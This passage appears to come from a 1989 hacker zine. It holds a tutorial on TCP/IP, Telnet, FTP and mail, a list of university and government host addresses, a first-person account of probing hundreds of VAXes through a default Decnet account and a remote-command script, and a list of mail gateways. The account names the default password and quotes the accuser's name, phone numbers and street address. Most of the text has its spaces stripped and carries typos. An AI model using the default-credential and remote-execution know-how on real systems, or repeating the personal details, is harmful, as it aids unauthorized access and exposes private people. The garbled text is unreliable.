computeratacampusmustuseTCP/IPdirectlyoruseagatewaythatwilltranslate
itsprotocolsintoTCP/IP.TheInternetisaworldwidecomputernetworkthatisthe
conglomerationofmostofthelargewideareanetworks,includingArpanet,Csnet,
NSFnetandtheregionalssuchasMidnet.Toalesserdegree,othernetworkssuchas
Bitnet thatcansendmailtohostsonthesenetworksareincludedaspartof the
Internet.Thishugenetworkofnetworks,theInternet,asyouhavebynowreadall
aboutinthepagesofFrackInc.,isarapidlygrowingandverycomplexentitythat
allows sophisticated communication between scientists, students, government
officialsandothers.Beingapartofthiscommunityisbothexcitingandchallenging.
This chapter of the Future Transcendent Saga gives a general description of the
protocolsandsoftwareusedinMidnetandtheNSFNet.Adiscussionofseveralof
themorecommonlyusednetworkingtoolsisalsoincludedtoenableyoutomake
practicaluseofthenetworkassoonaspossible.
TheDodProtocolSuite
TheDodProtocolSuiteincludesmanydifferentprotocols.Eachprotocolisa
specification of how communication is to occur between computers. Computer
hardwareandsoftwarevendorsusetheprotocoltocreateprogramsandsometimes
specializedhardwareinordertoimplementthenetworkfunctionintendedbythe
protocol. Different implementations of the same protocol exist for the varied

hardwareandoperatingsystemsfoundinanetwork.Thethreemostcommonlyused
networkfunctionsare:
Mail
Sending

and

receiving

messages;
File

Transfer
Sending

and

receiving

files;
RemoteLoginLoggingintoadistantcomputer.
Ofthese,mailisprobablythemostcommonlyused.IntheTCP/IPworld,thereare
threedifferentprotocolsthatrealizethesefunctions:

SMTP (Simple Mail Transfer Protocol) Mail

FTP (File Transfer Protocol) sending and receiving files

TelnetRemotelogin
Howtousetheseprotocolsisdiscussedinthenextsection.Atfirstglance,itisnot
obviouswhythesethreefunctionsarethemostcommon.Afterall,mailandfile
transferseemtobethesamething.However,mailmessagesarenotidenticaltofiles,
since they are usually comprised of only ASCII characters andare sequential in
structure. Files may contain binary data and have complicated, nonsequential
structures. Also, mail messages can usually tolerate some errors in transmission
whereasfilesshouldnotcontainanyerrors.Finally,filetransfersusuallyoccurina
securesetting(i.e.Theuserswhoaretransferringfilesknoweachother'snamesand
passwordsandarepermittedtotransferthefile,whereasmailcanbesenttoanybody
aslongastheirnameisknown).Whilemailandtransferaccomplishthetransferof
raw information from one computer to another, Telnet allows a distant user to
processthatinformation,eitherbyloggingintoaremotecomputerorbylinkingto
anotherterminal.Telnetismostoftenusedtoremotelylogintoadistantcomputer,
but it is actually a generalpurpose communications protocol. I have found it
incrediblyusefuloverthelastyear.Insomeways,itcouldbeusedforagreatdealof
accessbecauseyoucandirectlyconnecttoanothercomputeranywherethathasTCP/
IPcapabilities,howeverpleasenotethatTelnetis*not*Telenet. Thereareother
functionsthatsomenetworksprovide,includingthefollowing:
Nametoaddresstranslationfornetworks,computersandpeople;
Thecurrenttime;
Quoteofthedayorfortune;
Printingonaremoteprinteroruseofanyotherremoteperipheral;
Submissionofbatchjobsfornoninteractiveexecution;
Dialoguesandconferencingbetweenmultipleusers;
Remoteprocedurecall(i.e.Distributingprogramexecutionoverseveralremote
computers);
Transmissionofvoiceorvideoinformation.
Someofthesefunctionsarestillintheexperimentalstagesandrequirefaster
computer networks than currently exist. In the future, new functions will
undoubtedlybeinventedandexistingonesimproved.TheDodProtocolSuiteisa
layerednetworkarchitecture,whichmeansthatnetworkfunctionsareperformedby
differentprogramsthatworkindependentlyandinharmonywitheachother.Not
onlyaretheredifferentprogramsbuttherearedifferentprotocols.Theprotocols
SMTP,FTPandTelnetaredescribedabove.Protocolshavebeendefinedforgetting
thecurrenttime,thequoteoftheday,andfortranslatingnames.Theseprotocolsare

calledapplicationsprotocolsbecauseusersdirectlyinteractwiththeprogramsthat
implement these protocols. The Transmission Control Protocol, TCP, is used by
manyoftheapplicationprotocols.UsersalmostneverinteractwithTCPdirectly.
TCPestablishesareliableendtoendconnectionbetweentwoprocessesonremote
computers.Dataissentthroughanetworkinsmallchunkscalledpacketstoimprove
reliabilityandperformance.TCPensuresthatpacketsarriveinorderandwithout
errors.Ifapacketdoeshaveerrors,TCPrequeststhatthepacketberetransmitted.In
turn,TCPcallsuponIP,InternetProtocol,tomovethedatafromonenetworkto
another.IPisstillnotthelowestlayerofthearchitecture,sincethereisusuallya
"data link layer protocol" below it. This can be any of a number of different
protocols,twoverycommononesbeingX.25andEthernet.FTP,TelnetandSMTP
are called "application protocols", since they are directly used by applications
programsthatenableuserstomakeuseofthenetwork.Networkapplicationsarethe
actualprogramsthatimplementtheseprotocolsandprovideaninterfacebetweenthe
userandthecomputer.Animplementationofanetworkprotocolisaprogramor
packageofprogramsthatprovidesthedesirednetworkfunctionsuchasfiletransfer.
Since computers differ from vendor to vendor (e.g. IBM, DEC, CDC), each
computer must have its own implementation of these protocols. However, the
protocolsarestandardizedsothatcomputerscaninteroperateoverthenetwork(i.e.
Canunderstandandprocesseachother'sdata).Forexample,aTCPpacketgenerated
by an IBM computer can be read and processed by a DEC computer. In many
instances,networkapplicationsprogramsusethenameoftheprotocol.Forexample,
theprogramthattransfersfilesmaybecalled"FTP"andtheprogramthatallows
remoteloginsmaybecalled"Telnet."Sometimestheseprotocolsareincorporated
into larger packages, as is common with SMTP. Many computers have mail
programsthatallowusersonthesamecomputertosendmailtoeachother.SMTP
functionsareoftenaddedtothesemailprogramssothatuserscanalsosendand
receivemailthroughanetwork.Insuchcases,thereisnoseparateprogramcalled
SMTPthattheusercanaccess,sincethemailprogramprovidestheuserinterfaceto
thisnetworkfunction.Specificimplementationofnetworkprotocols,suchasFTP,
aretailoredtothecomputerhardwareandoperatingsystemonwhichtheyareused.
Therefore,theexactuserinterfacevariesfromoneimplementationtoanother.For
example, the FTP protocol specifies a set of FTP commands which each FTP
implementationmustunderstandandprocess.However,theseareusuallyplacedata
lowlevel,ofteninvisibletotheuser,whoisgivenahighersetofcommandstouse.
These higher level commands are not standardized so they may vary from one
implementation of FTP to another. For some operating systems, not all of these
commandsmakeequalsense,suchas"ChangeDirectory,"ormayhavedifferent
meanings.Thereforethespecificuserinterfacethattheuserseeswillprobablydiffer.
Thisfiledescribesagenericimplementationof thestandardTCP/IPapplication
protocols.Usersmustconsultlocaldocumentationforspecificsattheirsites.
NamesandAddressesinaNetwork
InDodProtocolSuite,eachnetworkisgivenauniqueidentifyingnumber.This

numberisassignedbyacentralauthority,namelytheNetworkInformationCentre
runbySRI,abbreviatedasSRINIC,inordertopreventmorethanonenetwork
from having the same network number. For example, the Arpanet has network
number10whileMidnethasalongernumber,namely128.242.Eachhostina
networkhasauniqueidentificationsootherhostscanspecifythemunambiguously.
Hostnumbersareusuallyassignedbytheorganizationthatmanagesthenetwork,
ratherthanonecentralauthority.Hostnumbersdonotneedtobeuniquethroughout
thewholeInternetbuttwohostsonthesamenetworkneedtohaveuniquehost
numbers.Thecombinationof thenetworknumberandthehostnumberiscalledthe
IPaddressofthehostandisspecifiedasa32bitbinarynumber.AllIPaddressesin
theInternetareexpressibleas32bitnumbers,althoughtheyareoftenwrittenin
dotteddecimalnotation.Dotteddecimalnotationbreaksthe32bitnumberintofour
eightbitpartsoroctetsandeachoctetisspecifiedasadecimalnumber.Forexample,
00000001isthebinaryoctetthatspecifiesthedecimalnumber1,while11000000
specifies192.DotteddecimalnotationmakesIPaddressesmucheasiertoreadand
remember.ComputersintheInternetarealsoidentifiedbyhostnames,whichare
stringsofcharacters,suchas"frackvax."However,IPpacketsmustspecifythe32
bitIPaddressinsteadofthehostnamesosomewaytotranslatinghostnamestoIP
addresses must exist. One way is to have a table of host names and their
corresponding IP addresses, called a host table. Nearly every TCP/ IP
implementationhassuchahosttable,althoughtheweaknessesofthismethodare
forcingashifttoanewschemecalledthedomainnamesystem.InUnixsystems,the
hosttableisoftencalled"/etc./hosts."Youcanusuallyreadthisfileandfindout
whattheIPaddressesofvarioushostsare.Othersystemsmaycallthisfilebya
differentnameandmakeitunavailableforpublicviewing.Usersofcomputersare
generallygivenaccountstowhichallchargesforcomputerusearebilled.Evenif
computertimeisfreeataninstallation,accountsareusedtodistinguishbetweenthe
usersandenforcefileprotections.Thegenericterm"username"willbeusedinthis
filetorefertothenamebywhichthecomputeraccountisaccessed.Intheearlydays
oftheArpanetwhichwasthefirstnetworktousetheTCP/IPprotocols,computer
userswereidentifiedbytheirusername,followedbyacommercial"at"sign(@),
followedbythehostnameonwhichtheaccountexisted.Networkswerenotgiven
names,perse,althoughtheIPaddressspecifiedanetworknumber.Forexample,
"knight @ frackvax" referred to user "knight" on host "frackvax." This did not
specify which network "frackvax" was on, although that information could be
obtainedbyexaminingthehosttableandtheIPaddressfor"frackvax."(However,
"frackvax"isaficticioushostnameusedforthispresentation.) Astimewenton,
everycomputeronthenetworkhadtohaveanentryinitshosttableforeveryother
computer on the network. When several networks linked together to form the
Internet, the problem of maintaining this central host table got out of hand.
Therefore,thedomainnameschemewasintroducedtosplitupthehosttableand
makeitsmallerandeasiertomaintain.Inthenewdomainnamescheme,usersare
stillidentifiedbytheirusernames,buthostsarenowidentifiedbytheirhostname
and any and all domains of which they are a part. For example, the following
address,"knight@umcvmb.missouri.edu"specifiesusername"knight"onhost

"umcvmb".However,host"umcvmb"isapartofthedomain"missouri""whichisin
turnpartofthedomain"edu".Thereareotherdomainsin"edu",althoughonlyoneis
named "mossouri". In the domain "missouri", there is only one host named
"umcvmb".However,otherdomainsin"edu"couldtheoreticallyhavehostsnamed
"umcvmb"(althoughIwouldsaythatthisisratherunlikelyinthisexample).Thus
thecombinationofhostnameandallitsdomainsmakesitunique.Themethodof
translatingsuchnamesintoIPaddressesisnolongerasstraightforwardaslookingup
thehostnameinatable.Severalprotocolsandspecializednetworksoftwarecalled
nameserversandresolversimplementthedomainnamescheme.NotallTCP/IP
implementationssupportdomainnamesbecauseitisrathernew.Inthosecases,the
localhosttableprovidestheonlywaytotranslatehostnamestoIPaddresses.The
systemmanagerofthatcomputerwillhavetoputanentryintothehosttablefor
everyhostthatusersmaywanttoconnectto.Insomecases,usersmayconsultthe
nameserverthemselvestofindouttheIPaddressforagivenhostnameandthenuse
thatIPaddressdirectlyinsteadofahostname.Ihaveselectedafewnetworkhoststo
demonstratehowahostsystemcanbespecifiedbyboththehostnameandhost
numerical address. Some of the nodes I have selected are also nodes on Bitnet,
perhapsevensomeoftheothersthatIdonotmakeanoteofduealackofomniscient
awarenessabouteachandeverysinglehostsystemintheworld:)
NumericalHostnameLocationBITnet

18.72.0.39Athena.mit.edu(Mass.InstituteofTechnology)?
26.0.0.73srinic.arpa(DDNNetworkInformationCentre)
36.21.0.13Macbeth.stanford.edu(StanfordUniversity)?
36.21.0.60Portia.stanford.edu(StanfordUniversity)?
128.2.11.131Andrew.cmu.edu(CarnegieMellonUniversity)Andrew
128.3.254.13lbl.gov(LawrenceBerkeleyLaboratories)LBL
128.6.4.7Rutgers.rutgers.edu(RutgersUniversity)?
128.59.99.1cucard.med.columbia.edu(ColumbiaUniversity)?
128.102.18.3ames.arc.nasa.gov(AmesResearchCentre[NASA])
128.103.1.1Harvard.edu(HarvardUniversity)Harvard
128.111.24.40hub.ucsb.edu(Univ.OfCalifSantaBarbara)?
128.115.14.1lllwinken.llnl.gov(LawrenceLivermoreLaboratories)
128.143.2.7uvaarpa.Virginia.edu(UniversityofVirginia)?
128.148.128.40brownmv.brown.edu(BrownUniversity)Brown
128.163.1.5ukcc.uky.edu(UniversityofKentucky)UKCC
128.183.10.4nssdca.gsfc.nasa.gov(GoddardSpaceFlightCentre[NASA])
128.186.4.18rai.cc.fsu.edu(FloridaStateUniversity)FSU
128.206.1.1umcvmb.missouri.edu(Univ.ofMissouriColumbia)UMCVMB
128.208.1.15max.acs.washington.edu(UniversityofWashington)Max
128.228.1.2cunyvm.cuny.edu(CityUniversityofNewYork)CUNYVM
129.10.1.6nuhub.acs.northeastern.edu(NortheasternUniversity)Nuhub
131.151.1.4umrvma.umr.edu(UniversityofMissouriRolla)UMRVMA
192.9.9.1sun.com(SunMicrosystems,Inc.)

192.33.18.30vm1.nodak.edu(NorthDakotaStateUniv.)NDSUVM1
192.33.18.50plains.nodak.edu(NorthDakotaStateUniv.)NDSUVAX
Please,Note:NoteverysystemonBitnethasanIPaddress.Likewise,notevery
systemthathasanIPaddressisonBitnet.Also,whilesomelocationslikeStanford
UniversitymayhavenodesonBitnetandhavehostsontheIPaswell,thisdoesnot
necessarilyimplythatthesystemsonBitnetandonIP(theedudomaininthiscase)
are the same systems. Attempts to gain unauthorized access to systems on the
Internetarenottoleratedandislegallyafederaloffence.Atsomehosts,theytake
thisveryseriously,especiallythegovernmenthostssuchasNASA'sGoddardSpace
FlightCentre,wheretheydonotmindtellingyousoatthemainpromptwhenyou
connecttotheirsystem.However,somenodesarepublicaccesstoanextent.The
DDNNetworkInformationCentrecanbeusedbyanyone.Theserveranddatabase
therehaveproventobeaninvaluablesourceofinformationwhenlocatingpeople,
systems,andotherinformationthatisrelatedtotheInternet.
Telnet
Remoteloginreferstologgingintoaremotecomputerfromaterminalconnected
toalocalcomputer.TelnetisthestandardprotocolintheDodProtocolSuitefor
accomplishingthis.The"rlogin"program,providedwithBerkeleyUnixsystemsand
someothersystems,alsoenablesremotelogin.Forpurposesofdiscussion,the"local
computer"isthecomputertowhichyourterminalisdirectlyconnectedwhilethe
"remotecomputer"isthecomputeronthenetworktowhichyouarecommunicating
andtowhichyourterminalis*not*directlyconnected.Sincesomecomputersusea
differentmethodofattachingterminalstocomputers,abetterdefinitionwouldbethe
following:The"localcomputer"isthecomputerthatyouarecurrentlyusingandthe
"remotecomputer"isthecomputeronthenetworkwithwhichyouareorwillbe
communicating.Notethattheterms"host"and"computer"aresynonymousinthe
followingdiscussion.TouseTelnet,simplyenterthecommand:
Telnet
ThepromptthatTelnetgivesis:
Telnet>
(However,youcanspecifywhereyouwanttoTelnettoimmediatelyandbypass
thethepromptsandotherdelaysbyissuingthecommand:Telnet[location].)There
ishelpavailablebytypingin?Thisprintsalistofallthevalidsubcommandsthat
Telnetprovideswithaonelineexplanation.
Telnet>?
Toconnecttotoanothercomputer,usetheopensubcommandtoopenaconnection
tothatcomputer.Forexample,toconnecttothehost"umcvmb.missouri.edu",do
"openumcvmb.Missouri.edu"Telnetwillresolve(i.e.Translate,thehostname
"umcvmb.Missouri.edu"intoanIPaddressandwillsendapackettothathost
requestinglogin.Iftheremotehostdecidestoletyouattemptalogin,itpromptsyou
foryourusernameandpassword.Ifthehostdoesnotrespond,Telnetwill"timeout"
(i.e.Waitforareasonableamountoftimesuchas20seconds)andthenterminate

withamessagesuchas"Hostnotresponding."Ifyourcomputerdoesnothavean
entryforaremotehostinitshosttableanditcannotresolvethename,youcanuse
theIPaddressexplicitlyinthetelnetcommand.Forexample:
Telnet26.0.0.73
Note:ThisistheIPaddressfortheDDNNetworkInformationCentre[srinic.arpa].
Ifyouaresuccessfulinloggingin,yourterminalisconnectedtotheremotehost.For
allintentsandpurposes,yourterminalisdirectlyhardwiredtothathostandyou
shouldbeabletodoanythingonyourremoteterminalthatyoucandoatanylocal
terminal.Thereareafewexceptionstothisrule,however.Telnetprovidesanetwork
escapecharacter,suchascontrolT.Youcanfindoutwhattheescapecharacteris
byenteringthe"status"subcommand:
Telnet>status
Youcanchangetheescapecharacterbyenteringthe"escape"subcommand:
Telnet>escape
Whenyoutypeintheescapecharacter,theTelnetpromptreturnstoyourscreen
and you can enter subcommands. For example, to break the connection, which
usuallylogsyouofftheremotehost,enterthesubcommand"quit":
Telnet>quit
YourTelnetconnectionusuallybreakswhenyoulogofftheremotehost,sothe
"quit"subcommandisnotusuallyusedtologoff.Whenyouareloggedintoa
remotecomputerviaTelnet,rememberthatthereisatimedelaybetweenyourlocal
computerandtheremoteone.Thisoftenbecomesapparenttouserswhenscrollinga
longfileacrosstheterminalscreenndtheywishtocancelthescrollingbytyping
control C or something similar. After typing the special control character, the
scrollingcontinues.Thespecialcontrolcharactertakesacertainamountoftimeto
reachtheremotecomputerwhichisstillscrollinginformation.Thusresponsefrom
theremotecomputerwillnotlikelybeasquickasresponsefromalocalcomputer.
Onceyouareremotelyloggedon,thecomputeryouareloggedontoeffectively
becomesyour "local computer,"eventhoughyour original"localcomputer"still
considersyouloggedon.Youcanlogontoathirdcomputerwhichwouldthen
become your "local computer" and so on. As you log out of each session, your
previoussessionbecomesactiveagain.
FileTransfer
FTPistheprogramthatallowsfilestobesentfromonecomputertoanother."ftp"
stands for "File Transfer Protocol". When you start using ftp, a communications
channelwithanothercomputeronthenetworkisopened.Forexample,tostartusing
ftp and initiate a file transfer session with a computer on the network called
"umcvmb",youwouldissuethefollowingsubcommand:
fptumcvmb.Missouri.edu
Host"umcvmb"willpromptyouforanaccountnameandpassword.Ifyourlogin
iscorrect,ftpwilltellyouso,otherwiseitwillsay"loginincorrect."Tryagainor
aborttheftpprogram.(Thisisusuallydonebytypingaspecialcontrolcharactersuch
ascontrolC.The"programabort"charactervariesfromsystemtosystem).Next

youwillseetheftpprompt,whichis:
ftp>
Thereareanumberofsubcommandsofftp.Thesubcommand"?"willlistthese
commandsandabriefdescriptionofeachone.Youcaninitiateafiletransferin
eitherdirectionwithFTP,eitherfromtheremotehostortotheremotehost.The
"get"subcommandinitiatesafiletransferfromtheremotehost(i.e.Tellstheremote
computertosendthefiletothelocalcomputer[theoneonwhichyouissuedthe"ftp"
command]).Simplyenter"get"andFTPwillpromptyoufortheremotehost'sfile
nameandthe(new)localhost'sfilename.Example:
ftp>get
Remotefilename?
Theirfile
Localfilename?
myfile
Youcanabbreviatethisbytypingbothfilenamesonthesamelineasthe"get"
subcommand.Ifyoudonotspecifyalocalfilename,thenewlocalfilewillbecalled
thesamethingastheremotefile.Validftpsubcommandstogetafileincludethe
following:
get

theirfile

myfile
getdoc.x25
The"put"subcommandworksinasimilarfashionandisusedtosendafilefrom
thelocalcomputertotheremotecomputer.Enterthecommand"put"andftpwill
promptyouforthelocalfilenameandthentheremotefilename.Ifthetransfer
cannotbedonebecausethefiledoesn'texistorforsomeotherreason,ftpwillprint
anerrormessage.Thereareanumberofothersubcommandsinftpthatallowyouto
do many more things. Not all of these are standard so consult your local
documentationortypeaquestionmarkattheftpprompt.Somefunctionsoftenbuilt
intoftpincludetheabilitytolookatfilesbeforegettingorputtingthem,theabilityto
changedirectories,theabilitytodeletefilesontheremotecomputer,andtheability
to list the directory on the remote host. An intriguing capability of many ftp
implementations is "third party transfers." For example, if you are logged on
computerAandyouwanttocausecomputerBtosendafiletocomputerC,youcan
useftptoconnecttocomputerBandusethe"rmtsend"command.Ofcourse,you
havetoknowusernamesandpasswordsonallthreecomputers,sinceftpnever
allowsyoutopeekintosomeone'sdirectoryandfilesunlessyouknowtheiruser
nameandpassword.The"cd"subcommandchangesyourworkingdirectoryonthe
remotehost.The"lcd"subcommandchangesthedirectoryonthelocalhost.For
Unix systems, the meaning of these subcommands is obvious. Other systems,
especially those that do not have directory structured file system, may not
implementthesecommandsormayimplementtheminadifferentmanner.The"dir"
and "ls" subcommands do the same thing, namely list the files in the working
directoryofoftheremotehost.The"list"subcommandshowsthecontentsofafile
withoutactuallyputtingitintoafileonthelocalcomputer.Thiswouldbehelpfulif
youjustwantedtoinspectafile.Youcouldinterruptitbeforeitreachedtheendof
thefilebytypingcontrolCorsomeotherspecialcharacter.Thisisdependenton

yourFTPimplementation.The"delete"commandcandeletefilesontheremotehost.
Youcanalsomakeandremovedirectoriesontheremotehostwith"mkdir"and
"rmdir".The"status"subcommandwilltellyouifyouareconnectedandwithwhom
andwhatthestateofallyouroptionsare.Ifyouaretransferringbinaryfilesorfiles
with any nonprintable characters, turn binary mode on by entering the "binary"
subcommand:
binary
Toresumenonbinarytransfers,enterthe"ascii"subcommand.Transferringa
number of files can be done easily by using "mput" (multiple put) and "mget"
(multipleget).Forexample,togeteveryfileinaparticulardirectory,firstissuea
"cd"commandtochangetothatdirectoryandthenan"mget"commandwithan
asterisktoindicateeveryfile:
cd

somedirectory
mget*
Whenyouaredone,usethe"close"subcommandtobreakthecommunications
link.Youwillstillbeinftp,soyoumustusethe"bye"subcommandtoexitftpand
returntothecommandlevel.The"quit"subcommandwillclosetheconnectionand
exitfromftpatthesametime.
Mail
Mailisthesimplestnetworkfacilitytouseinmanyways.Allyouhavetodoisto
createyourmessage,whichcanbedonewithafileeditororonthespurofthe
moment and then send it. Unlike ftp and Telnet, you do not need to know the
passwordoftheusernameontheremotecomputer.Thisissobecauseyoucannot
changeoraccessthefilesoftheremoteusernorcanyouusetheiraccounttorun
programs.Allyoucandoistosendamessage.Thereisprobablyaprogramonyour
localcomputerwhichdoesmailbetweenusersonthatcomputer.Suchaprogramis
calledamailer.Thismayormaynotbethewaytosendorreceivemailfromother
computersonthenetwork,althoughintegratedmailersaremoreandmorecommon.
Unixmailerswillbeusedasanexampleinthisdiscussion.Notethattheprotocol
whichisusedtosendandreceivemailoveraTCP/IPnetworkiscalledSMTP,the
"SimpleMailTransferProtocol."Typically,youwillnotuseanyprogramcalled
SMTP, but rather your local mail program. Unix mailers are usually used by
invokingaprogramnamed"mail".Toreceivenewmail,simplytype"mail".There
areseveralvarietiesofUnixmailersinexistence.Consultyourlocaldocumentation
fordetails.Forexample,thecommand"manmail"printsoutthemanualpagesfor
themailprogramonyourcomputer.Tosendmail,youusuallyspecifytheaddressof
therecipientonthemailcommand.Forexample:"mailknight@umcvmb.Missouri.
edu"willsendthefollowingmessagetousername"knight"onhost"umcvmb".You
canusuallytypeinyourmessageonelineatatime,pressingreturnaftereachline
and typing control D to end the message. Other facilities to include already
existing files sometimes exist. For example, Berkeley Unixes allow youto enter
commandssimilartothefollowingtoincludeafileinyourcurrentmailmessage:
rmyfile

Inthisexample,thecontentsof"myfile"areinsertedintothemessageatthispoint.
Most Unix systems allow you to send a file through the mail by using input
redirection.Forexample:
mailknight@umcvmb.missouri.edu<myfile
Inthisexample,thecontentsof"myfile"aresentasamessageto"knight"on
"umcvmb".
Note thatinmanyUnixsystemstheonlydistinctionbetweenmailboundfor
anotheruseronthesamecomputerandanotheruseronaremotecomputerissimply
theaddressspecified.Thatis,thereisnohostnameforlocalrecipients.Otherwise,
mail functions in exactly the same way. This is common for integrated mail
packages.Thesystemknowswhethertosendthemaillocallyorthroughthenetwork
basedontheaddressandtheuserisshieldedfromanyotherdetails.
"TheQuestForKnowledgeIsWithoutEnd"
FrackInc.VolumeThree,Issue27,File7of12
TheMakingofaHacker

byFramstagofWestGermany
June2,1989

PrologueForNoneVMSUsers
DecnetisthenetworkforDecmachines,inmostcasesyoucansayVaxes.Decnet
allowsyoutodo:email;filetransfer;remotelogin;remotecommand;remotejob
entryandPhone.Phoneisaninteractivecommunicationbetweenusersandisequal
totalkonUnixora"deluxe"chatonVM/CMS.Belwue,theuniversitynetworkof
thestateBadenWuerttemberginWestGermanycontains(besidesothernetworks)a
Decnetwithabout400Vaxes.OneveryVaxthereisstandardaccountcalledDecnet
withpw:=Decnet,whichisnotreachableviaremotelogin.Thisaccountisprovided
forseveralDecnetUtilitiesandasapseudoguestaccount.TheDecnetaccount
hasveryrestrictedprivileges:Youcannoteditafileormakeanotherremotelogin.
The help menuisequippedbythesystemandissimilartothe man commandon
Unix.MoreinformationonDecnetcanbefoundin"LookingAroundinDecnet"by
DeepThoughtinthisveryissueofFrackInc.Here,attheUniversityofUlm,we
havean*incredibly*ignorantcomputercentrestaff,withanevenbiggerlackof
systemliterature(besidesthe80kgofVax/VMSmanuals).Theactivemaysearch
forinformationbyhimself,whichisoverthelevelof"run,""Fotran,"or"logout."
My good luck that I have other accounts in the Belwue Decnet, where more
information is offered for the users. I am a regular student in Ulm and all my
accountsarecompletelylegalandcorrespondingtotheGermanlaws.Idon'tcall
myselfa"hacker,"Ifeelmorelikea"user"(it'smoreadefiningproblem).Inthe
helpmenuinahostinTubingenIfoundthefilenetdcl.comandthecorresponding
explanation, which sends commands to the Decnet Account of other Vaxes and
executes them there (remote command). The explanation in the help menu was
idiotproofthereforeforme,too:)withthecommand:

"$mcrncp
showknownnodes"youcanobtainalistof allnetwideactiveVaxes,asis
generallyknownandsoIpingedalltheseVaxestolookformoreinformationfora
knowledge thirsty user. With "help", "dir" and other similar commands I look
aroundonthoseDECnetaccounts,alwayswatchingfortopicsrelatedtotheBelwue
network.It'sapity,that2/3ofallVAXeshavelockedtheDecnetAccountfor
netdcl.com.Theirsystemmanagersareprobablyafraidofunauthorizedaccess,butI
cannotimaginehowtherecouldbesuchanunauthorizedaccess,becauseyoucannot
logonthisaccountnochanceforTrojanhorsesetc.Somesystemmanagerscalled
mebackafterIvisitedtheirVAXtochatwithmeaboutthenetworkandaskedmeif
theycouldhelpmeinanyway.OnesysopfromStuttgartevensentmeaversionof
netdcl.comfortheUltrixoperationsystem.Then,afteramonth,the horror came
overmeinshapeofathefollowingmail:
From:Tubingen::system31May198915:31:11.38
To:Framstag
CC:
Subj:Don'tmakeanycraporyou'llbekickedout!
From:ITTGPX::system9May198916:46
To:Tubingen::system
Subj:Systembreakingin01May1989
TothesystemmanageroftheComputerTubingen,onMay1st1989wehada
SystembreakingininourDecnetaccount,whichstartedfromyourmachine.By
help of our accounting we ascertained your user Framstag to have emulated an
interactivelogononourbackbonenodeandoneverymachineofourVaxcluster
withthe"Trojanhorse"netdcl.com.Giveusthisuser'snameandaddressanddear
uptheoccurrencecompletely.Wepointoutthattheuserispunishable.Incaseof
repetition we would be forced to take corresponding measures. We will check
whetheroursystem gotinjured.Ifnot,thistimewewilldisregardanymeasure.
InformusviaDecnetaboutyourinvestigationresultsweareattainablebythenode
number1084::system
dipl.ing.MichaelHager
Mysystemmanagerthreatenedmewiththedeletingofmyaccount,ifIwouldnot
immediatelyenlightentheaffair.*Gulp*!Iwasconsciousaboutmyinnocence,but
howtotellittotheothers?Iexplained,stepbystep,everythingtomysystem
manager.Hethenunderstoodafterawhile,butthecriminalprocedurestillhovered
overmeso,Itookquicklytomykeyboard,tocomposefileofexplanationsandto
sendittothatangrysystemmanagerinStuttgart(node1084isaninstitutethere).But
nowayout:Hehadrunoutofdiskquotaandmyexplanationmailsailedintothe
Nirvana:$mailexplanation
To:1084::system
%mailE,errorsendingtousersystemat1084
%mailEopenout,erroropeningSYS$SYSROOT:[SYSMGRmail$00040092594
FD194.mail;
asoutput

rmsecre,ACPfilecreatefailed
systemFexdiskquota,diskquotaexceeded
AlsotheattemptofaconnectionwiththePhonefacilityfailed:Inhisborderless
hackerparanoia,hecutoffhisphone...andnowhereisalistwiththerealaddresses
ofthevirtualDecnetaddressesavailable(topreventhacking).NowIstoodthere
withthebrand"Dangeroushacker!"andIhadnochancetovindicatemyself.I
pouredoutmytroublestoanacquaintanceofmine,whoisaSysopinthecomputer
centreinFreiburg.HeaskedotherSysopsandmanagersthroughthewholeBelwue
networkuntilsomeonegavehimatelephonenumberafterafewdaysandthatwas
therightone!IphonedtothisHagerandtoldhimwhatIhaddonewithhisDecnet
account andalsowhat not.IwantedtoknowwhichcrimeIhadcommitted.He
promptly cancelled all of his reproaches, but he did not excuse his defamous
incriminations.IentreatedhimtoinformmysystemmanagerinTubingenthatIhave
donenothingillegalandtostophimfromerasingmyaccount.Thishappensalready
toafellowstudentofmine(inthiscase,Hagerwasalsoguilty).Hepromisedmethat
hewouldofficiallycancelhisreproaches.Afteroveraweekthisdoesn'thappen(I'm
allowedtousemyaccountfurtheron).Inreturnforit,Ireceivedanewmailfrom
Hageronanotheraccountofmine:
From:1084::Hager1June198912:51
To:50180::stud_11
Subj:systembreakingin
OnJune1st1989youhavecommittedasystembreakinginonatleastoneofour
Vaxes.Wewereabletoregisterthisoccurrence.Wewouldbeforcedtotakefurther
measureifyoudidnotdearuptheoccurrencecompletelyuntilJune6th.Ofcourse
theexpensesinvolvedwouldbeimposedonyou.Henceenlightenmentmustbein
yourowninterest.WeareattainableviaDecnetmailwiththeaddress1084::Hager
orviafollowingaddress:
InstitutfuerTechnischeThermodynamikundThermischeVerfahrenstechnik
dipl.ing.M.HagerTel.:0711/6856109
dipl.ing.M.MrzyglodTel.:0711/6853398
Pfaffenwaldring9/101
7000Stuttgart80
M.HagerM.Mrzyglod
Thiswasthereactionofmyattempt:"$PHONE1084::system".Ihavenotanswered
tothismail.Iamsickofit!
Framstag(framstag@dtupev5a.bitnetT)
withSpecialThanksForTranslationAssistanceToSchrulliB.
FrackInc.VolumeThree,Issue28,File#4of12
NetworkMiscellany
byTaranKing
June1,1989
ACSNET

 Australian Computer Science Network(ACSNET),also knownas Oz,has its

gatewaythroughtheCSNETnodemunnari.oz.auandifyoucannotdirectlymailto
the oz.au domain, try either user name %munnari. oz. au @ uunet. uu. net or
munnari!username@uunet.uu.net.
AT&TMail
AT&TMailisamailingserviceofAT&T,probablywhatyoumightcallit's
MCIMailequivalent.ItisavailableontheUUCPnetworkasnodenameattmailbut
I'vehadproblemshavingmailgetthrough.Apparently,itdoescostmoneytomailto
thisserviceandthesurroundingnodesarenotwillingtopickupthetabforthe
ingoingmailoratleastthishasseeminglybeenthecasethusfar.Ibelieve,though,
thatperhapsroutingtoatt!attmail!userwouldwork.AT&Trecentlyannouncedsix
newX.400interconnectionsbetweenAT&TMailandelectronicmailservicesin
theU.S.,Korea,Sweden,Australia,andFinland.IntheU.S.,AT&TMailisnow
interconnected with Telenet Communications Corporation's service, Telemail,
allowingusersofbothservicestoexchangemessageseasily.Withtheadditionof
theseinterconnections,theAT&TMailGateway400ServiceallowsAT&TMail
subscriberstoexchangemessageswithusersofthefollowingelectronicmessaging
systems:

CompanyEMailName*Country

TeleDeltaTeDe400Sweden
OTCMPS400Australia
TelecomCanadaEnvoy100Canada
DacomDacomMHSKorea
P&TTeleMailNet400Finland
HelsinkiTelephoneCo.ElisaFinland
DialcomDialcomUSA
TelenetTelemailUSA
KDDMessaviaJapan
TranspacAtlas400France
